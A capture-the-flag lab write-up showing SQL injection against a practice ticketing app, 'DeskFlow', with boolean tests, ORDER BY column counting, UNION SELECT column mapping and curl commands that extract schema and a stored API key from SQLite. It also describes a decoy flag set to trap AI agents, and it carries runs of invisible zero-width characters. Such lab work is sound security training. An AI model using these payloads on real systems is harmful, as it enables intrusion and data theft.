← Back to Writeups
CUSTOMMediumWeb

Lab 3 — DeskFlow — SQL Injection in Ticket View

XESXOR9/2/20264 min read
#web#custom#medium#boolean_based_sqli_confirmatio#decoy_flag_detection#order_by_column_enumeration#sqlite_master_schema_extractio#union_based_sql_injection

Lab 3 — DeskFlow — SQL Injection in Ticket View

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: boolean_based_sqli_confirmation, decoy_flag_detection, order_by_column_enumeration, sqlite_master_schema_extraction, union_based_sql_injection

Summary

Walkthrough of the CUSTOM Web Lab 3 — DeskFlow — SQL Injection in Ticket View. Task: IT service management platform (DeskFlow) with ticket system, ticket detail endpoint /tickets/{id} vulnerable to SQL injection via path parameter. Solution: UNION-based SQLi with 11 columns to e

Description

DeskFlow is an IT service management platform developed by FlowTech Solutions. The application provides ticket management, asset tracking, team directory, knowledge base, and system administration features for IT support teams. You've been hired to test DeskFlow's security. The platform handles ticket data through various endpoints. Some endpoints may process user input differently than others. Pay attention to how the application constructs its database queries.

Objective: Find an SQL injection vulnerability that lets you extract sensitive data from the database. The flag is stored as master_api_key in the system_config table.

Test credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: DeskFlow is a Flask-based IT service management application with multiple features (tickets, assets, team directory, knowledge base, settings). The goal is to find an SQL injection vulnerability and extract the master_api_key value from the system_config table. Test credentials are provided for authenticated access.

Analysis

Authentication & Reconnaissance

Logged in with user@test.com / password123 to obtain a session cookie. The application is a Flask app behind nginx, identified as DeskFlow v2.4.1. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Mapped endpoints:

  • /tickets — ticket listing with search/filter
  • /tickets/{id} — individual ticket detail view
  • /assets — asset tracking
  • /team — team directory
  • /knowledge — knowledge base
  • /settings — system settings
  • /tickets/new — create new ticket
  • /tickets/{id}/comment — add comment to ticket

Honeypot/Decoy flag: The HTML source contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements. This is a trap designed to fool automated scanners and AI agents. It is NOT the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SQL Injection Discovery

The ticket detail endpoint /tickets/{id} is vulnerable to SQL injection in the URL path parameter. The ticket ID is directly interpolated into the SQL query without parameterization.

Boolean-based confirmation:

RequestResultMeaning
/tickets/1 AND 1=1200 OK, shows Ticket #1True condition — row returned
/tickets/1 AND 1=2Redirect to /ticketsFalse condition — no row
/tickets/0 OR 1=1200 OK, shows Ticket #1OR bypasses invalid ID
/tickets/0 OR 1=2Redirect to /ticketsFalse OR — no row
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This confirms classic boolean-based SQL injection: the application returns the ticket page when the injected condition is true, and redirects when false.

Column Count Enumeration

Used ORDER BY to determine the number of columns in the query:

  • /tickets/1 ORDER BY 11 — success (returns ticket)
  • /tickets/1 ORDER BY 12 — fails (redirect)

Result: 11 columns in the underlying SELECT statement.

UNION SELECT Verification

Confirmed UNION injection works with 11 NULL columns:

/tickets/0 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This returned a page showing "Ticket #None", confirming the UNION injection path.

Column Mapping

Mapped each column to its displayed field using marker strings:

/tickets/0 UNION SELECT 1,'TITLE2','DESC3','STATUS4','PRIO5','CAT6','ASSIGN7','CREATOR8','DATE9','DATE10',11
ColumnField
1ticket ID
2title (displayed in subtitle/description area)
3description
4status
5priority
6category
7assigned_to
8creator
9created_date
10updated_date
11numeric field
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Database Identification

Identified the backend as SQLite:

/tickets/0 UNION SELECT 0,sqlite_version(),'x','x','x','x','x','x','x','x',11

Returned SQLite 3.51.2.

Solution

Step 1: Authenticate and get session cookie

bash
curl -c cookies.txt -d "email=user@test.com&password=password123" \
  https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/login

Step 2: Confirm SQL injection with boolean tests

bash
# True condition — returns ticket page
curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \
  "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20AND%201=1"
# → 200
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# False condition — redirects
curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \
  "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20AND%201=2"
# → 302

Step 3: Enumerate column count with ORDER BY

bash
# 11 columns — success
curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \
  "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20ORDER%20BY%2011"
# → 200

# 12 columns — fails
curl -b cookies.txt -s -o /dev/null -w "%{http_code}" \
  "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/1%20ORDER%20BY%2012"
# → 302

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract table schema via sqlite_master

bash
curl -b cookies.txt -s \
  "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/0%20UNION%20SELECT%200,(SELECT%20sql%20FROM%20sqlite_master%20WHERE%20name='system_config'),'x','x','x','x','x','x','x','x',11"

Returned: CREATE TABLE system_config (key TEXT UNIQUE NOT NULL, value TEXT NOT NULL, ...)

Step 5: Extract the flag

bash
curl -b cookies.txt -s \
  "https://dc8764f7-8d19-416a-a79e-7e9024edcaba.labs.hackadvisor.io/tickets/0%20UNION%20SELECT%200,(SELECT%20value%20FROM%20system_config%20WHERE%20key='master_api_key'),'x','x','x','x','x','x','x','x',11"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The title field in the response contains the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering boolean_based_sqli_confirmation, decoy_flag_detection, order_by_column_enumeration, sqlite_master_schema_extraction, union_based_sql_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-29 • CUSTOM • Lab 3 — DeskFlow — SQL Injection in Ticket View • Difficulty: Medium